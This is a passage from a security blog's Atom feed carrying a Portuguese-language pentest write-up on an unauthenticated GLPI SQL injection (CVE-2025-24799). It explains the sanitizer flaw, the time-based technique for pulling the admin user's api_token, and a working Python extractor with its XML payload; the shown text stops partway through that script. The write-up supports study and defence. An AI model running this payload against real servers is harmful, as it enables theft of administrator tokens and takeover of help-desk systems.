<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>dsm&#x27;s blog - exploit</title>
    <subtitle>Writing on security and technology.</subtitle>
    <link rel="self" type="application/atom+xml" href="https://larper.me/tags/exploit/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://larper.me"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-03-23T00:00:00+00:00</updated>
    <id>https://larper.me/tags/exploit/atom.xml</id>
    <entry xml:lang="en">
        <title>(PT-BR) GLPI, Criatividade e Pós-Exploração: O almoço grátis do pentester</title>
        <published>2026-03-23T00:00:00+00:00</published>
        <updated>2026-03-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://larper.me/blog/glpi-criatividade-e-pos-exploracao-o-almoco-gratis-do-pentester/"/>
        <id>https://larper.me/blog/glpi-criatividade-e-pos-exploracao-o-almoco-gratis-do-pentester/</id>
        
        <content type="html" xml:base="https://larper.me/blog/glpi-criatividade-e-pos-exploracao-o-almoco-gratis-do-pentester/">&lt;h2 id=&quot;inicio&quot;&gt;Início&lt;&#x2F;h2&gt;
&lt;p&gt;Durante um pentest em um grande cliente, no processo de enumeração sobre as aplicações web disponíveis, pude encontrar uma instância do GLPI pública através de uma string estática que estava armazenada em um arquivo JavaScript de uma outra aplicação Next.js. O que é mais interessante deste GLPI é que ele não pôde ser encontrado por nenhuma ferramenta de enumeração de subdomínios ou afins, então foi um grande achado.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;glpi-instance.png&quot; alt=&quot;Instância do GLPI encontrada&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;glpi-project&#x2F;glpi&quot;&gt;GLPI&lt;&#x2F;a&gt; ou &lt;em&gt;Gestionnaire Libre de Parc Informatique&lt;&#x2F;em&gt; é um software de código-aberto para gerenciamento de ativos de tecnologia e também de criação e resolução de tickets, comumente conhecido como help desk. É um projeto extremamente grande e bastante utilizado, contando com mais de 5 mil estrelas em seu projeto no GitHub.&lt;&#x2F;p&gt;
&lt;p&gt;Percebi que era uma instância do GLPI minimamente modificada, com algumas mudanças aplicadas pelo time de desenvolvimento e tecnologia desse cliente em questão. Um ponto principal que me chamou a atenção é que a aplicação estava integrada com o sistema de SSO, o que é algo bem relevante levando em consideração a possibilidade de obter dados sensíveis ligados a organização. Não tinha certeza sobre qual era a versão desse GLPI, então optei por assumir que era uma das mais recentes, ou a mais recente. No momento da escrita deste artigo, a última versão é a &lt;strong&gt;10.0.18&lt;&#x2F;strong&gt; que foi lançada em 12 de fevereiro de 2025.&lt;&#x2F;p&gt;
&lt;p&gt;Então, fui até a aba de &lt;em&gt;Releases&lt;&#x2F;em&gt; do projeto do GLPI no GitHub e olhei a changelog entre as últimas versões lançadas e duas vulnerabilidades específicas chamaram minha atenção, uma vulnerabilidade de SQL Injection desautenticado e outra de Remote Code Execution só que autenticada. Inicialmente a vulnerabilidade de SQL Injection era a mais promissora, justamente por não haver necessidade de ter alguma credencial do ambiente.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;glpi-10018-release.png&quot; alt=&quot;Release notes do GLPI 10.0.18&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Analisando &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blog.lexfo.fr&#x2F;glpi-sql-to-rce.html&quot;&gt;o artigo publicado pela Lexfo&lt;&#x2F;a&gt;, podemos entender qual é a causa da vulnerabilidade de SQL Injection. Dentro da função &lt;strong&gt;handleAgent&lt;&#x2F;strong&gt; do arquivo &lt;strong&gt;src&#x2F;Agent.php&lt;&#x2F;strong&gt; podemos notar uma diferença entre as versões.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;10.0.17&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;changes-17.png&quot; alt=&quot;Código da versão 10.0.17&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;10.0.18&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;changes-18.png&quot; alt=&quot;Código da versão 10.0.18&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Podemos ver nas imagens acima que a função &lt;code&gt;Sanitizer::dbEscapeRecursive&lt;&#x2F;code&gt; foi removida do trecho ligado ao parâmetro &lt;strong&gt;deviceid&lt;&#x2F;strong&gt; na versão 10.0.18. O problema é que a função &lt;code&gt;Sanitizer::dbEscapeRecursive&lt;&#x2F;code&gt; suporta requisições com um conteúdo XML, mas possui uma falha fundamental em sua implementação. A função percorre arrays recursivamente e escapa strings conforme esperado. Porém, quando encontra um valor que não é nem array nem string, ela simplesmente retorna esse valor sem qualquer tratamento, fazendo com que outros objetos não sejam sanitizados.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;xml-support.png&quot; alt=&quot;Suporte a XML no GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Vale ressaltar que o endpoint &lt;code&gt;handleAgent&lt;&#x2F;code&gt; não requer credenciais para ser acessado. Isso eleva significativamente a severidade da vulnerabilidade, transformando-a em um vetor de comprometimento completo do sistema.&lt;&#x2F;p&gt;
&lt;p&gt;Com isso em mente, já podemos entender o que será necessário:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Enviar uma requisição do tipo POST ao GLPI que faça uso do &lt;strong&gt;handleXMLRequest&lt;&#x2F;strong&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;Usaremos do corpo XML esperado para interação com essa função, onde o parâmetro alvo é o &lt;strong&gt;deviceid&lt;&#x2F;strong&gt; e dentro dele colocaremos um payload de SQL Injection que será encapsulado no objeto &lt;code&gt;SimpleXMLElement&lt;&#x2F;code&gt;, passando intacto pela sanitização e sendo executado no banco de dados.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;sql-injection.png&quot; alt=&quot;SQL Injection no GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Após confirmar que a instância alvo estava vulnerável, podemos presumir algumas coisas:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;A versão instalada é a 10.0.17 ou inferior;&lt;&#x2F;li&gt;
&lt;li&gt;Possivelmente a falha CVE-2025-24801 de RCE autenticado poderá funcionar;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Um SQL Injection é uma ótima falha, mas qual o problema de toda essa situação? O primeiro problema é que a exploração é baseada em tempo (&lt;em&gt;time-based SQLi&lt;&#x2F;em&gt;), o que torna um processo mais demorado, mas o problema principal mesmo é que as senhas dos usuários no GLPI que ficam armazenadas no banco de dados estão criptografadas utilizando Bcrypt, então levaria muito tempo extrair elas do banco de dados e não há qualquer garantia que eu poderia quebrá-las.&lt;&#x2F;p&gt;
&lt;p&gt;Continuando no artigo da Lexfo, notei que eles trazem a sugestão de que é possível extrair o &lt;strong&gt;api_token&lt;&#x2F;strong&gt; de um usuário e utilizar a API do GLPI para gerar um cookie de sessão válido que cede acesso à conta do usuário-alvo. Todavia, a Lexfo não aparenta ter disponibilizado como fazer isso, então precisei descobrir o formato do &lt;strong&gt;api_token&lt;&#x2F;strong&gt; e como usá-lo. O primeiro processo seria identificar se o usuário está presente no banco de dados e, se estiver, extrair esse token para utilizar a API do GLPI e obter uma sessão válida.&lt;&#x2F;p&gt;
&lt;p&gt;Analisando a documentação da API REST do GLPI, existe uma referência para o padrão do &lt;strong&gt;api_token&lt;&#x2F;strong&gt; e outras informações importantes para a construção do script. O que precisava descobrir primeiro era qual o formato desse token, seu comprimento e quais caracteres o compunham.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;docs-glpi-1.png&quot; alt=&quot;Documentação da API REST do GLPI - parte 1&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;docs-glpi-2.png&quot; alt=&quot;Documentação da API REST do GLPI - parte 2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;glpi-project&#x2F;glpi&#x2F;blob&#x2F;main&#x2F;apirest.md#init-session&quot;&gt;API Rest GLPI&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Esse é o padrão do token, caracteres de &lt;strong&gt;a&lt;&#x2F;strong&gt; até &lt;strong&gt;Z&lt;&#x2F;strong&gt;, de &lt;strong&gt;0&lt;&#x2F;strong&gt; a &lt;strong&gt;9&lt;&#x2F;strong&gt;, tem o &lt;strong&gt;comprimento de 41 caracteres&lt;&#x2F;strong&gt; e os caracteres podem ser maiúsculos ou minúsculos.&lt;&#x2F;p&gt;
&lt;p&gt;Para testar se a teoria estava correta, voltaremos a requisição original do SQL Injection e substituiremos para o uso da função de ASCII do SQL para converter um inteiro em um caractere e enviar isso ao Intruder do Burp Suite, que percorreria do número 0 até 200 e esperaria 6 segundos caso o caractere estivesse correto.&lt;&#x2F;p&gt;
&lt;p&gt;Ao percorrer até 200, cobrimos todo o espectro de caracteres imprimíveis padrão mais uma margem de segurança para caracteres estendidos. Se o caractere na posição X tiver valor ASCII igual ao número que estamos testando, o banco executa um SLEEP de 6 segundos e o Burp detecta esse delay, revelando qual é o caractere correto. Esse processo se repete para cada posição da string que queremos extrair (senha, hash, nome de usuário, etc.), construindo a informação byte a byte através da diferença no tempo de resposta.&lt;&#x2F;p&gt;
&lt;p&gt;Um ponto que me ajudou também é que o GLPI conta com diversos usuários padrão, como o usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt; que era meu alvo justamente por ser um usuário naturalmente &lt;strong&gt;Super-Admin&lt;&#x2F;strong&gt;, e que felizmente tinha um &lt;strong&gt;api_token&lt;&#x2F;strong&gt; definido.&lt;&#x2F;p&gt;
&lt;p&gt;Com a query abaixo, coletei uma parte do &lt;strong&gt;api_token&lt;&#x2F;strong&gt; do usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt; e confirmei que seria possível prosseguir desta forma, no entanto, isso acabaria levando muito tempo, e por isso, optei por desenvolver um script Python que automatizaria este processo.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;sql-query-user-token.png&quot; alt=&quot;Query SQL para extrair o api_token do usuário&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Abaixo deixarei o código utilizado para fazer a exfiltração destes dados, onde basta especificar a URL e o nome do usuário alvo. O restante dos argumentos são opcionais e podem ser ajustados dependendo do seu contexto. Lembrando que este código foi criado apenas para a resolução momentânea desta situação, então pode ocorrer problemas ou falso-positivos na extração.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; requests&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; time&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; argparse&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; urllib3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;urllib3.disable_warnings()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; payload&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;url&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; user&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; pos&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; char_code&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; sleep_time&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; timeout&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;) -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; bool&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    xml&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&amp;quot;&amp;quot;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;lt;xml&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;    &amp;lt;QUERY&amp;gt;get_params&amp;lt;&#x2F;QUERY&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;    &amp;lt;deviceid&amp;gt;&amp;#39; OR IF(ASCII(SUBSTRING((SELECT api_token FROM glpi_users WHERE name=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;user&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;#39; LIMIT 1),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;,1))=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;char_code&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;,SLEEP(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;sleep_time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;),0)-- -&amp;lt;&#x2F;deviceid&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;    &amp;lt;content&amp;gt;creds&amp;lt;&#x2F;content&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;lt;&#x2F;xml&amp;gt;&amp;quot;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    headers&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;        &amp;quot;Content-Type&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;application&#x2F;xml&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;        &amp;quot;User-Agent&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Mozilla&#x2F;5.0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;        &amp;quot;Accept&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;*&#x2F;*&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;        &amp;quot;Accept-Encoding&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;gzip, deflate, br&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; time.perf_counter()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    try&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        requests.post(url,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; headers&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;headers,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;xml,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;timeout,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; verify&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    except&lt;&#x2F;span&gt;&lt;span&gt; requests.exceptions.Timeout:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; True&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    elapsed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; time.perf_counter()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt; start&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; elapsed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;gt;=&lt;&#x2F;span&gt;&lt;span&gt; sleep_time&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argparse.ArgumentParser(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;description&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;NTSLabs | Time-based SQLi extractor for GLPI api_token | CVE-2025-24799&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-u&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--url&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;     required&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Full target URL (e.g. https:&#x2F;&#x2F;…&#x2F;)&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-n&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--name&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;    default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;glpi&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;   help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Username in glpi_users to extract token for&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-s&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--sleep&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;   type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;  help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Sleep time used in the payload&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
